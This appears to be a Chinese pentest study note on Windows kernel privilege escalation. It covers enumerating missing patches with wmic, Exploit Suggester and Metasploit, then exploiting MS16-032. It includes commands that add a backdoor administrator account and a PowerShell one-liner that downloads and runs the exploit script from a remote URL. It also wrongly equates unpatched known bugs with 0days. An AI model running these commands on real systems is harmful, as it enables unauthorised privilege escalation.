漏洞介绍
计算机有个地方叫作缓存区。程序缓存的大小是事先设置好的,若用户输入数据的大小超过缓存区的大小则会发生溢出
漏洞影响
系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用这类方法绕过系统的所有安全限制。攻击者利用漏洞的关键是目标系统没有及时安装补丁,就会让攻击者有机可乘。如果攻击者想要通过这种方法提权,就必须找出目标中的0day漏洞
漏洞发现
0x01 手动执行命令发现缺失补丁
通过各种手段获取目标主机shell后,查看当前权限
通过systeminfo查看机器信息
可以看到该机器只打了默认的邮箱Qick的补丁
能否使用wmic命令,就看目标机器是否给该用户赋权了(学习wmic)
wmic qfe get caption,description.notfixid,installedon
通过补丁编号,手动查找是否存在指定补丁
wmic qfe get caption,description.notfixid,installedon | findstr /c:"Q147222" /c:"KB976902"
可以看到只安装了Q147222补丁,并没有安装KB976902补丁
常见EXP参考 https://github.com/SecWiki/windows-kernel-exploits
0x02 windows Exploit Suggester
windows Exploit Suggester 该工具可以将系统中已经安装的补丁程序与微软漏洞数据库进行比较,并识别可能导致权限提升的漏洞
先将系统信息写入到txt文件中
最好用python2环境。生成了一个最新的漏洞库
发现报错,因为需要安装xlrd模块,对xls文件进行读取
(因为我的靶机python环境问题处理不好,所以转移到另外一台主机上实验)
安装xlrd模块
将系统信息与最新漏洞库进行比较。发现该机器还有挺多旧版本漏洞未修复
0x03 通过Metasploit发现缺失补丁
①模块:在msf拿shell/会话以后,利用post/windows/gather/enum_patches模块,可以根据漏洞编号快速找出缺少的补丁
②:windows Exploit Suggester:msf也内置了local_exploit_suggester模块供利用
漏洞利用
如果目标机器存在MS16-032漏洞,攻击者不仅可以利用metaploit进行提权,(如果目标机器有powershell环境)还可以利用powershell下的https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1脚本进行提权。通过该脚本可以执行任意程序,且可以带参数执行
0x01 本地利用
通过将脚本上传到目标机器上,然后在powershell环境下执行命令。
以下命令就可以通过脚本新建一个hack用户,并添加至管理员组
Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user add hack 123456 /add"
Invoke-MS16-032 -Application cmd.exe -Commandline "/c net localgroup administrators hack /add"
此外,通过该脚本,可以添加或执行任意程序。比如启动记事本程序
Invoke-MS16-032 -Application notepad.exe
0x01 远程利用
cmd环境下
powershell -nop -exec bypass -c "IEX (New-OBject Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -Commandline '/c net user add hack2 123456 /add'"
防护
针对系统漏洞,对症下药。只要安装相应的补丁即可
GOT IT!
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~